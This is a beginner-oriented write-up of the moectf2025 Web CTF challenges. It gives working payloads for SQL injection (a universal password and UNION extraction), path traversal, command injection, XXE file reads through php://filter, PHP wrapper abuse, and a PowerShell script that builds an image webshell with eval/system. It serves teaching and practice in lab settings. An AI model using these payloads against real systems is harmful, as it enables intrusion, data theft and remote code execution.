moectf2025 Web 题解汇总
发布于:
未完待续
Web入门指北
这是一篇纯新手向的文章,用来介绍我从一个零基础新手到可以初步解题的全过程。写这篇《Web入门指北》的目的是希望可以让和我一样,原本对计算机一窍不通的人也能入门网络安全这个方向。
接下来我将通过 moectf2025 中的 Web 向试题来引入,主要从如何开始、如何搜集信息、如何利用 AI 工具这几个方面来开启这篇文章。
注: 关于平台的注册与连接方面的内容需要自己尝试一下,题目连接详见西电平台知识中的题目连接指南。这是最初的一步,切忌畏难和怕麻烦心理,进步要在前进的每一小步中慢慢体现。
1. 如何开始
现在 moectf2025 已经告一段落,在“训练”的赛事一栏中便可以找到。随后我们来到“Web安全与渗透测试”,点击“0 web入门指北”,你将会在里面看到附件和题目信息。
附件中有一个专业的入门指北,你们也可以初步审阅。不过可能内容对纯新人来讲会很晦涩,可以跟着我,有一定的经验后再去阅读,相信你会有一些新的收获。
首先打开其中一个题目附件后,你会看到一堆括号,同时给了一个提示:“你知道什么是控制台吗?快去了解一下吧!”

看到这里我们肯定会想要去浏览器上搜索一下“控制台”是什么,但是直接搜索的结果可能会让人眼前一黑,有种摸不着头脑的感觉。
这个时候就要引入我想讲的后两个内容:如何搜集信息和如何利用AI。
2. 如何搜集信息
使用搜索引擎有一定的技巧。首先,如果可以,尽量不要只使用百度的搜索,其广告覆盖和信息混乱的情况比较严重,可以尝试使用 Google 或是 Bing (必应)。
其次,在搜索时要使用更精确的关键词。单独的“控制台”涵盖的范围太大,我们可以加上一些限定词,比如说 CTF 控制台,这样便可以较好地锁定到相关信息。
相信通过搜索你已经获得了信息:控制台指的是浏览器“开发者工具”(按 F12 打开)中的其中一个面板,可以用来运行 JavaScript 代码。这道题中一大串的括号类字符是 JSFuck,一种仅通过 () [] {} ! + 来编写 JavaScript 代码的技术。
所以这道题有两个解法:
- 解法一: 将附件中的 JSFuck 代码复制下来,找一个专门的在线反混淆网站来解密。
- 解法二: 将 JSFuck 代码直接扔到浏览器的控制台中运行(在某些浏览器中,可能需要先在控制台中输入
allow pasting并回车)。
运行结果如图:

3. 如何利用AI搜索
在这个 AI 大受欢迎的年代,使用 AI 的能力不可或缺。DeepSeek, ChatGPT, Gemini, Claude 等都是相当好用的工具。
这道题同样可以使用 AI 求解。你可以设置一个情景来询问 AI,例如:
“我正在做一道 CTF 试题,题目提示是‘控制台’,附件中给了一长串只有括号、方括号和加号的代码(对于其他试题按
Ctrl+U可以看到网页源码)。请问这可能是什么?请给出详细的解题思路与步骤。”
跟着 AI 的引导相信你也可以完成这道试题。但是请记住:
- AI 可以辅助解题,但一般不可能直接给出题目的 Flag。
- 要对 AI 生成的内容带有批判精神,警惕“AI幻觉”(一本正经地胡说八道)。
总结
总体上,这是一篇针对一场比赛的入门指北,但其中涉及的对搜索引擎和 AI 的使用能力是具有普遍性的。务必牢记:借助工具解出的题目,只有在消化吸收知识后才能真正变为自己的。在比赛期间可以学得有些囫囵吞枣,但是赛后复盘一定要有思考的深度。感谢你的阅读。
第一章:前端绕过
首先连好环境,然后复制网址,开始做题。网页如图:

我们尝试将附件内容复制过来,发现禁止粘贴。依旧按 F12 打开开发者工具,查看 shouzhuo.js 中的前端代码,发现 Flag 就在其中。

通过阅读前端代码,我们发现其实这道题可以有其他解法。前端代码中禁用了粘贴,我们只需要在控制台输入以下命令将粘贴功能重新开放即可:
document.addEventListener('paste', e => e.stopPropagation(), true);
这段 JavaScript 代码通过提前捕获粘贴事件,阻止其被禁用,从而恢复粘贴功能。然后我们就可以复制内容并提交了。

第二章:HTTP抓包初识
题目提示HTTP抓包。我们可以使用 Burp Suite 或者是 Yakit 等工具(推荐Yakit,界面比较美观)。在网上搜索相应的资源与使用教学便可开始使用。
打开网页,有一段文字被涂抹了,但可以复制。复制下来发现一个路由地址,我们通过抓包来访问这个地址。

抓包后发现 Flag 在请求头(Request Header)里。我们也可以直接访问该路由,然后按 F12 在“网络(Network)”面板中查找到对应的请求,查看其请求头信息。
第三章:修改HTTP请求
这道题依然是考察HTTP请求包。我们需要对URL和POST传参的内容进行修改,即可得到 Flag。

第四章:HTTP请求的多种姿势
这道题分多关考察了不同的HTTP请求知识。
第一关:GET传参
一个简单的GET传参,在URL后面加上 ?key=xdsec 即可。

第二关:POST传参
一个简单的POST传参,构造如下请求:
POST /cloud_weaver HTTP/1.1
Host: 127.0.0.1:28326
Content-Type: application/x-www-form-urlencoded
declaration=织云阁=第一
第三关:伪造IP
题目要求本地访问,需要用到 X-Forwarded-For: 127.0.0.1,将该内容加进请求头中。X-Forwarded-For 是一个HTTP扩展头部,用于表示客户端的真实IP,127.0.0.1 可以用于伪造本地请求。
第四关:伪造User-Agent
题目要求伪造 User-Agent,在请求头中加入 User-Agent: moe browser。User-Agent 用于表示用户的操作系统、浏览器版本等信息,在爬虫中经常需要伪造它来模拟浏览器访问。
第五关:Cookie验证
题目要求验证身份,在请求头中加入 Cookie: user=xt。Cookie是保存在本地的小型文本文件,用于记录和缓存用户身份数据。
第六关:Referer验证
题目要求来源为 http://panshi/entry,在请求头中加入 Referer: http://panshi/entry。Referer头部表示当前请求的来源页面。
第七关:PUT请求
题目要求使用 PUT 方法发送请求,将请求方法从 GET/POST 改为 PUT 即可。
第五章:路径遍历
这是一个简单的本地文件包含(LFI)和路径遍历漏洞。输入 ../../../../flag 来访问 flag 文件,或者是 ../../../proc/self/environ 查看环境变量。
原理简介:路径遍历的原理是通过
../跳到上一级目录,来访问Web目录之外的、原本不能访问的文件。如果服务器对用户传入的参数缺乏验证,就可能通过此方法访问到服务器上的敏感文件。
第六章:SQL注入之万能密码
一个简单的SQL注入万能密码,在用户名输入框中输入 admin' or 1=1# 即可成功获得 Flag。
原理简介:SQL注入的原理是,Web应用未对用户输入进行充分过滤,导致恶意的SQL代码被拼接到正常的查询语句中并被数据库执行。
正常的查询语句为:
SELECT * FROM users WHERE username = 'user1' AND password = 'password1';当我们输入
admin' --时,查询语句变为:SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...';
--(或#)在SQL中是注释符,会把后面的密码验证部分注释掉。当我们输入
admin' OR '1'='1时,查询语句变为:SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '...';由于
'1'='1'恒为真,且在MySQL中AND的优先级高于OR,这条语句也会绕过验证。
第七章:MD5比较绕过
通过阅读提示,我们访问了 robots.txt 文件,该文件是一种协议,规定了搜索引擎可以访问网站上的哪些内容。在 robots.txt 中我们发现了 flag.php 可以访问。
审计 flag.php 的代码,发现是一个简单的MD5弱比较(==)。PHP在处理 0e 开头的哈希值时,会将其视为科学计数法,结果都为0,因此可以轻易绕过。
下面附几个常用的 0e 开头的值:
?a=QNKCDZO&b=240610708
QNKCDZO:0e830400451993494058024219903391240610708:0e462097431906509019562988736854
扩展知识
-
强比较(
===)绕过 如果代码是md5($a) === md5($b),我们可以传入数组绕过,例如a[]=1&b[]=2,因为md5()函数处理数组时会返回null,最终比较null === null为真。 -
MD5强碰撞 如果代码强制转换了类型
(string)$a != (string)$b且使用强比较,就需要用到MD5强碰撞,即找到两个不同的字符串,它们的MD5哈希值完全相同。
第八章:联合注入
题目提示为联合注入(UNION Injection)。UNION 是MySQL中的一个操作符,可以合并两个及以上的 SELECT 语句的结果集。我们可以利用它来查询数据库中的额外信息。
以下是解题步骤:
-
判断列数:
' union select 1,2#发现页面显示 “welcome 1”,说明查询结果有2列,并且第1列的内容会显示在页面上。 -
爆数据库名:
' union select database(),2#页面返回数据库名为user。 -
爆表名:
' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#页面返回表名flag,user。 -
爆列名:
' union select group_concat(column_name),2 from information_schema.columns where table_name='flag'#页面返回flag表中的列名为value。 -
查询数据:
' union select value,2 from flag#得到 Flag。
第九章:命令执行 (ping)
这道题是一个命令注入漏洞。利用了 ; 作为命令分隔符,可以在执行完 ping 命令后,再执行一个我们自己注入的命令来泄露信息。
Payload: www.baidu.com;env
env 命令会列出所有环境变量,Flag就在其中。
第十章:XXE
随便输入内容后,返回结果的格式为XML文件,因此考虑存在XXE(XML External Entity)漏洞。

原理简介:XXE漏洞原理是XML解析器在解析外部实体时,没有禁止外部实体的引用,导致攻击者可以引用外部文件或URL,造成文件读取、命令执行或内网探测等危害。
Payload 如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=flag.txt">]>
<root>&file;</root>
Payload解释:
<!DOCTYPE root [...]>: 声明一个文档类型定义(DTD)。<!ENTITY file SYSTEM "...">: 定义一个名为file的外部实体,其内容来自系统文件。php://filter/.../resource=flag.txt: 使用PHP的filter伪协议读取flag.txt文件,并将其内容进行Base64编码。&file;: 在XML文档中引用实体file,解析器会将其替换为flag.txt经过Base64编码后的内容,并返回给我们。
第十章re:XXE(绝对路径)
该题思路同第十章,也是一个简单的XXE漏洞。payload相比原题仅在文件名 flag.txt 前多了一个 /。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">]>
<root>&file;</root>
flag.txt: 表示相对路径,访问的是当前工作目录下的文件。/flag.txt: 表示绝对路径,寻找位于系统根目录下的flag.txt文件。
第十一章:参数爆破与PHP伪协议
根据题目提示需要进行传参,但参数涉及 m, n, o, p, q 五个字母的120种全排列。我们可以写一个Python脚本来生成所有可能的参数组合。
Python脚本:
import itertools
letters = ['m', 'n', 'o', 'p', 'q']
perms = [''.join(p) for p in itertools.permutations(letters)]
query_string = '&'.join(f"{s}={s}" for s in perms)
print(query_string)
将脚本生成的长字符串作为GET参数附加到URL后面。
成功传参后出现一个文件查询功能,但是对输出的字符数进行了限制。观察URL,发现是本地文件包含漏洞,我们可以使用PHP封装流(wrapper)将 flag.php 的源码以Base64的形式读出,绕过字数限制。
Payload:
php://filter/read=convert.base64-encode/resource=flag.php
PHP伪协议扩展:
php://filter: 元封装器,用于在读取或写入数据流时对其进行筛选过滤。data://: 数据流封装器。当与文件包含函数结合时,可以执行用户传入的PHP代码,如data://text/plain,<?php phpinfo();?>。file://: 用于访问本地文件系统,如file:///etc/passwd。
第十二章:蚁剑的使用
这道题主要学习蚁剑(AntSword)的使用。首先我们需要下载蚁剑,具体操作可以学习网上专门的博客教程。
打开蚁剑,添加Shell地址并连接。简单浏览文件系统没有看到 Flag,我们右键打开虚拟终端,输入命令 env 打印环境变量,即可获得 Flag。
第十三章:文件上传
这道题考察文件上传漏洞。我们需要制作一个图片马,即一个看似是图片文件、但内部包含PHP代码的文件。
可以使用以下PowerShell脚本来生成:
# 创建JPEG文件头
[byte[]]$bytes = 0xFF, 0xD8, 0xFF
Set-Content -Path exploit.jpg -Value $bytes -Encoding Byte -NoNewline
# 添加一句话木马
Add-Content -Path exploit.jpg -Value '<?php @eval($_REQUEST["cmd"]); ?>' -NoNewline
在PowerShell中运行上述命令,会生成一个 exploit.jpg 文件。
然后,使用Yakit或BurpSuite拦截上传请求,将文件名从 exploit.jpg 修改为 exploit.php(或其他允许的后缀,如 .phtml 等)来绕过前端验证。
上传成功后,使用蚁剑连接这个PHP马的URL,在终端中执行 printenv 或 env 命令获得 Flag。
其他解法
如果将一句话木马中的 eval 改成 system,如 <?=system($_GET["cmd"]);?>,那么上传成功后,我们可以直接访问该文件的URL,并通过GET参数执行命令,例如:
http://<target>/uploads/exploit.php?cmd=ls /http://<target>/uploads/exploit.php?cmd=cat /flag